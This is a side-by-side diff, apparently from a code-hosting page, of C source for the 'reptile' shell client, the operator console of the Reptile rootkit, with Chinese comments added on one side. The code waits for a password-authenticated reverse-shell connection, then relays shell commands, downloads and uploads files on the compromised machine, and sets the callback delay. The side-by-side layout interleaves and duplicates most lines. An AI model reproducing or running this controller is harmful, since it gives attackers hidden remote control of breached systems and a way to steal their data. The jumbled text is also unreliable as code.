~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF);
tr.c_lflag &= tr.c_lflag &=
~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN); ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN);
tr.c_oflag &= ~OPOST; tr.c_oflag &= ~OPOST;
tr.c_cc[VMIN] = 1; tr.c_cc[VMIN] = 1;
tr.c_cc[VTIME] = 0; tr.c_cc[VTIME] = 0;
if (tcsetattr(1, TCSADRAIN, &tr) < 0) { if (tcsetattr(1, TCSADRAIN, &tr) < 0) {
p_error("tcsetattr"); p_error("tcsetattr");
return 1; return 1;
} }
} }
// 进入一个循环,处理输入输出
while (1) { while (1) {
FD_ZERO(&rd); FD_ZERO(&rd);
if (imf != 0) if (imf != 0)
FD_SET(0, &rd); FD_SET(0, &rd);
FD_SET(sock, &rd); FD_SET(sock, &rd);
if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) { if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) {
p_error("select"); p_error("select");
break; break;
} }
if (FD_ISSET(sock, &rd)) { if (FD_ISSET(sock, &rd)) {
ret = pel_recv_msg(sock, message, &len); ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg"); pel_error("pel_recv_msg");
break; break;
} }
if (strncmp((char*)message, EXIT, EXIT_LEN) == 0) {
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) {
if (isatty(1)) if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp); tcsetattr(1, TCSADRAIN, &tp);
fprintf(stdout, "\n"); fprintf(stdout, "\n");
return 1; return 1;
} }
if (write(1, message, len) != len) { if (write(1, message, len) != len) {
p_error("write"); p_error("write");
break; break;
} }
} }
if (imf != 0 && FD_ISSET(0, &rd)) { if (imf != 0 && FD_ISSET(0, &rd)) {
if ((len = read(0, message, BUFSIZE)) < 0) { if ((len = read(0, message, BUFSIZE)) < 0) {
p_error("read"); p_error("read");
break; break;
} }
if (len == 0) { if (len == 0) {
fprintf(stderr, "stdin: end-of-file\n"); fprintf(stderr, "stdin: end-of-file\n");
break; break;
} }
ret = pel_send_msg(sock, message, len); ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
break; break;
} }
} }
} }
if (isatty(1)) if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp); tcsetattr(1, TCSADRAIN, &tp);
return 1; return 1;
} }
int get_file(int sock, char **args) // 从远程主机下载文件的函数
{ int get_file(int sock, char** args) {
char *temp, *pathname; char* temp, * pathname;
int ret, len, fd, total; int ret, len, fd, total;
unsigned char out = OUT; unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) { if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad); fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 发送文件路径到远程主机
len = strlen(args[1]); len = strlen(args[1]);
ret = pel_send_msg(sock, (unsigned char*)args[1], len);
ret = pel_send_msg(sock, (unsigned char *)args[1], len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 构建保存文件的路径
temp = strrchr(args[1], '/'); temp = strrchr(args[1], '/');
if (temp != NULL) if (temp != NULL)
temp++; temp++;
if (temp == NULL) if (temp == NULL)
temp = args[1]; temp = args[1];
len = strlen(args[2]); len = strlen(args[2]);
pathname = (char*)malloc(len + strlen(temp) + 2);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) { if (pathname == NULL) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
strcpy(pathname, args[2]); strcpy(pathname, args[2]);
strcpy(pathname + len, "/"); strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp); strcpy(pathname + len + 1, temp);
// 创建文件
fd = creat(pathname, 0644); fd = creat(pathname, 0644);
if (fd < 0) { if (fd < 0) {
p_error("creat"); p_error("creat");
free(pathname); free(pathname);
return 1; return 1;
} }
free(pathname); free(pathname);
// 接收文件数据并保存
total = 0; total = 0;
while (1) { while (1) {
ret = pel_recv_msg(sock, message, &len); ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg"); pel_error("pel_recv_msg");
fprintf(stderr, "%s Transfer failed.\n", bad); fprintf(stderr, "%s Transfer failed.\n", bad);
return 1; return 1;
} }
if (strncmp((char*)message, EXIT, EXIT_LEN) == 0 && total > 0)
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0 && total > 0)
break; break;
if (write(fd, message, len) != len) { if (write(fd, message, len) != len) {
p_error("write"); p_error("write");
return 1; return 1;
} }
total += len; total += len;
fprintf(stdout, "%d\r", total); fprintf(stdout, "%d\r", total);
fflush(stdout); fflush(stdout);
} }
fprintf(stdout, "%s %d done.\n\n", good, total); fprintf(stdout, "%s %d done.\n\n", good, total);
return 1; return 1;
} }
int put_file(int sock, char **args) // 向远程主机上传文件的函数
{ int put_file(int sock, char** args) {
char *temp, *pathname; char* temp, * pathname;
int ret, len, fd, total; int ret, len, fd, total;
unsigned char out = OUT; unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) { if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad); fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 构建文件路径
temp = strrchr(args[1], '/'); temp = strrchr(args[1], '/');
if (temp != NULL) if (temp != NULL)
temp++; temp++;
if (temp == NULL) if (temp == NULL)
temp = args[1]; temp = args[1];
len = strlen(args[2]); len = strlen(args[2]);
pathname = (char*)malloc(len + strlen(temp) + 2);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) { if (pathname == NULL) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
strcpy(pathname, args[2]); strcpy(pathname, args[2]);
strcpy(pathname + len, "/"); strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp); strcpy(pathname + len + 1, temp);
// 发送文件路径到远程主机
len = strlen(pathname); len = strlen(pathname);
ret = pel_send_msg(sock, (unsigned char*)pathname, len);
ret = pel_send_msg(sock, (unsigned char *)pathname, len);
free(pathname); free(pathname);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 打开文件并发送文件数据
fd = open(args[1], O_RDONLY); fd = open(args[1], O_RDONLY);
if (fd < 0) { if (fd < 0) {
p_error("open"); p_error("open");
return 1; return 1;
} }
total = 0; total = 0;
while (1) { while (1) {
len = read(fd, message, BUFSIZE); len = read(fd, message, BUFSIZE);
if (len < 0) { if (len < 0) {
p_error("read"); p_error("read");
return 1; return 1;
} }
if (len == 0) { if (len == 0) {
break; break;
} }
ret = pel_send_msg(sock, message, len); ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
fprintf(stderr, "%s Transfer failed.\n", bad); fprintf(stderr, "%s Transfer failed.\n", bad);
return 1; return 1;
} }
total += len; total += len;
printf("%s %d\r", good, total); printf("%s %d\r", good, total);
fflush(stdout); fflush(stdout);
} }
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); // 发送结束信号
pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN);
printf("%s %d done.\n\n", good, total); printf("%s %d done.\n\n", good, total);
return 1; return 1;
} }
int delay(int sock, char **args) // 设置反向shell连接间隔的函数
{ int delay(int sock, char** args) {
int ret, flag; int ret, flag;
unsigned int i, j; unsigned int i, j;
char *numbers = "0123456789"; char* numbers = "0123456789";
unsigned char out = OUT; unsigned char out = OUT;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stderr, "%s no arguments\n\n", bad); fprintf(stderr, "%s no arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 检查参数是否为数字
for (i = 0; i < strlen(args[1]); i++) { for (i = 0; i < strlen(args[1]); i++) {
flag = 0; flag = 0;
for (j = 0; j < strlen(numbers); j++) { for (j = 0; j < strlen(numbers); j++) {
if (args[1][i] == numbers[j]) if (args[1][i] == numbers[j])
flag = 1; flag = 1;
} }
if (flag == 0) { if (flag == 0) {
fprintf(stderr, "%s wrong argument\n\n", bad); fprintf(stderr, "%s wrong argument\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
} }
ret = pel_send_msg(sock, (unsigned char *)args[1], strlen(args[1])); // 发送延迟时间设置到远程主机
ret = pel_send_msg(sock, (unsigned char*)args[1], strlen(args[1]));
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
fprintf(stdout, "%s delay -> %s\n\n", good, args[1]); fprintf(stdout, "%s delay -> %s\n\n", good, args[1]);
return 1; return 1;
} }
int execute(int sock, char **args) // 执行命令的函数
{ int execute(int sock, char** args) {
int i, ret; int i, ret;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL || sock == -1) if (args[0] == NULL || sock == -1)
return 1; return 1;
// 查找并执行内置命令
for (i = 0; i < num_builtins(); i++) { for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0) { if (strcmp(args[0], builtin_str[i]) == 0) {
if (i == 0) { if (i == 0) {
return (*builtin_func[i])(sock, args); return (*builtin_func[i])(sock, args);
} else { }
ret = else {
pel_send_msg(sock, (unsigned char *)&i, 1); ret = pel_send_msg(sock, (unsigned char*)&i, 1);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
return (*builtin_func[i])(sock, args); return (*builtin_func[i])(sock, args);
} }
} }
} }
// 如果不是内置命令发送shell命令
i = 3; i = 3;
ret = pel_send_msg(sock, (unsigned char *)&i, 1); ret = pel_send_msg(sock, (unsigned char*)&i, 1);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
return (*builtin_func[3])(sock, args); return (*builtin_func[3])(sock, args);
} }
char *read_line(void) // 读取一行输入的函数
{ char* read_line(void) {
int bufsize = RL_BUFSIZE; int bufsize = RL_BUFSIZE;
int position = 0; int position = 0;
char *buffer = malloc(sizeof(char) * bufsize); char* buffer = malloc(sizeof(char) * bufsize);
int c; int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) { if (!buffer) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 循环读取用户输入,直到换行符
while (1) { while (1) {
c = getchar(); c = getchar();
if (c == EOF) { if (c == EOF) {
free(buffer); free(buffer);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} else if (c == '\n') { }
else if (c == '\n') {
buffer[position] = '\0'; buffer[position] = '\0';
return buffer; return buffer;
} else { }
else {
buffer[position] = c; buffer[position] = c;
} }
position++; position++;
if (position >= bufsize) { if (position >= bufsize) {
bufsize += RL_BUFSIZE; bufsize += RL_BUFSIZE;
char *buffer_backup = buffer; char* buffer_backup = buffer;
if ((buffer = realloc(buffer, bufsize)) == NULL) { if ((buffer = realloc(buffer, bufsize)) == NULL) {
free(buffer_backup); free(buffer_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
@ -624,149 +582,155 @@ char *read_line(void)
} }
} }
char **parse(char *line) // 解析输入行的函数
{ char** parse(char* line) {
int bufsize = TOK_BUFSIZE, position = 0; int bufsize = TOK_BUFSIZE, position = 0;
char **tokens = malloc(bufsize * sizeof(char *)); char** tokens = malloc(bufsize * sizeof(char*));
char *token, **tokens_backup; char* token, ** tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) { if (!tokens) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM); token = strtok(line, TOK_DELIM);
while (token != NULL) { while (token != NULL) {
tokens[position] = token; tokens[position] = token;
position++; position++;
if (position >= bufsize) { if (position >= bufsize) {
bufsize += TOK_BUFSIZE; bufsize += TOK_BUFSIZE;
tokens_backup = tokens; tokens_backup = tokens;
tokens = realloc(tokens, bufsize * sizeof(char *)); tokens = realloc(tokens, bufsize * sizeof(char*));
if (!tokens) { if (!tokens) {
free(tokens_backup); free(tokens_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
} }
token = strtok(NULL, TOK_DELIM); token = strtok(NULL, TOK_DELIM);
} }
tokens[position] = NULL; tokens[position] = NULL;
return tokens; return tokens;
} }
void reptile_loop(int sock) // 命令行循环函数
{ void reptile_loop(int sock) {
char *line; char* line;
char **args; char** args;
int status; int status;
// 循环读取命令并执行,直到接收到退出信号
do { do {
line = readline("\e[01;32mreptile> \e[00m"); line = readline("\e[01;32mreptile> \e[00m");
add_history(line); add_history(line);
args = parse(line); args = parse(line);
status = execute(sock, args); status = execute(sock, args);
free(line); free(line);
free(args); free(args);
} while (status); } while (status);
clear_history(); clear_history();
} }
void handle_shutdown(int signal) // 处理关闭连接的信号
{ void handle_shutdown(int signal) {
close(sockfd); close(sockfd);
exit(signal); exit(signal);
} }
void listener(int port) // 监听连接的函数
{ void listener(int port) {
int new_sockfd, yes = 1; int new_sockfd, yes = 1;
struct sockaddr_in host_addr, client_addr; struct sockaddr_in host_addr, client_addr;
socklen_t sin_size; socklen_t sin_size;
// 创建套接字
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
fatal("in socket"); fatal("in socket");
} }
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == // 设置套接字选项,允许立即重用地址
-1) { if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("setting socket option SO_REUSEADDR"); fatal("setting socket option SO_REUSEADDR");
} }
// 设置信号处理函数,处理关闭连接的信号
signal(SIGTERM, handle_shutdown); signal(SIGTERM, handle_shutdown);
signal(SIGINT, handle_shutdown); signal(SIGINT, handle_shutdown);
// 定义主机地址结构体
host_addr.sin_family = AF_INET; host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(port); host_addr.sin_port = htons(port);
host_addr.sin_addr.s_addr = INADDR_ANY; host_addr.sin_addr.s_addr = INADDR_ANY;
memset(&(host_addr.sin_zero), '\0', 8); memset(&(host_addr.sin_zero), '\0', 8);
if (bind(sockfd, (struct sockaddr *)&host_addr, // 绑定套接字到主机地址
sizeof(struct sockaddr)) == -1) { if (bind(sockfd, (struct sockaddr*)&host_addr, sizeof(struct sockaddr)) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("binding to socket"); fatal("binding to socket");
} }
// 监听套接字
if (listen(sockfd, 5) == -1) { if (listen(sockfd, 5) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("listening on socket"); fatal("listening on socket");
} else { }
else {
fprintf(stdout, "%s Listening on port %d...\n", good, port); fprintf(stdout, "%s Listening on port %d...\n", good, port);
} }
// 接受客户端连接
sin_size = sizeof(struct sockaddr_in); sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); new_sockfd = accept(sockfd, (struct sockaddr*)&client_addr, &sin_size);
if (new_sockfd == -1) { if (new_sockfd == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("accepting connection"); fatal("accepting connection");
} }
// 打印客户端连接信息
fprintf(stdout, "%s Connection from %s:%d\n\n", awesome, fprintf(stdout, "%s Connection from %s:%d\n\n", awesome,
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
// usleep(100 * 1500); // 如果没有设置密码,提示用户输入密码
if (password == NULL) { if (password == NULL) {
password = getpass("Password: "); password = getpass("Password: ");
fprintf(stdout, "\n"); fprintf(stdout, "\n");
} }
// 初始化客户端连接
if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) { if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) {
close(new_sockfd); close(new_sockfd);
fprintf(stdout, "%s wrong password!\n\n", bad); fprintf(stdout, "%s wrong password!\n\n", bad);
exit(ERROR); exit(ERROR);
} }
// 打印欢迎信息并进入命令行循环
banner(); banner();
reptile_loop(new_sockfd); reptile_loop(new_sockfd);
// 关闭套接字
shutdown(new_sockfd, SHUT_RDWR); shutdown(new_sockfd, SHUT_RDWR);
close(sockfd); close(sockfd);
} }
void usage(char *argv0) // 显示使用方法的函数
{ void usage(char* argv0) {
fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", argv0);
argv0);
exit(1); exit(1);
} }
int main(int argc, char **argv) // 主函数
{ int main(int argc, char** argv) {
int opt, port = 0; int opt, port = 0;
// 解析命令行参数
while ((opt = getopt(argc, argv, "p:s:")) != EOF) { while ((opt = getopt(argc, argv, "p:s:")) != EOF) {
switch (opt) { switch (opt) {
case 'p': case 'p':
@ -781,28 +745,28 @@ int main(int argc, char **argv)
} }
} }
// 如果没有提供端口号,则显示使用方法并退出
if (port == 0) if (port == 0)
usage(*argv); usage(*argv);
// 如果命令行参数不足,则显示使用方法并退出
if (argc <= 1) if (argc <= 1)
usage(argv[0]); usage(argv[0]);
// printf("\n\e[01;36mReptile Shell\e[00m\n"); // 打印使用密码信息
// printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
if (password != NULL) if (password != NULL)
fprintf(stdout, "%s Using password: %s\n", good, password); fprintf(stdout, "%s Using password: %s\n", good, password);
// 创建子进程
pid = fork(); pid = fork();
if (pid == -1) if (pid == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 父进程调用listener函数监听连接
if (pid > 0) if (pid > 0)
listener(port); listener(port);
// if (pid == 0) // 子进程执行后台任务(这部分代码被注释掉了)
// background job while we are listening
return EXIT_SUCCESS; return EXIT_SUCCESS;
} }

Loading…
Cancel
Save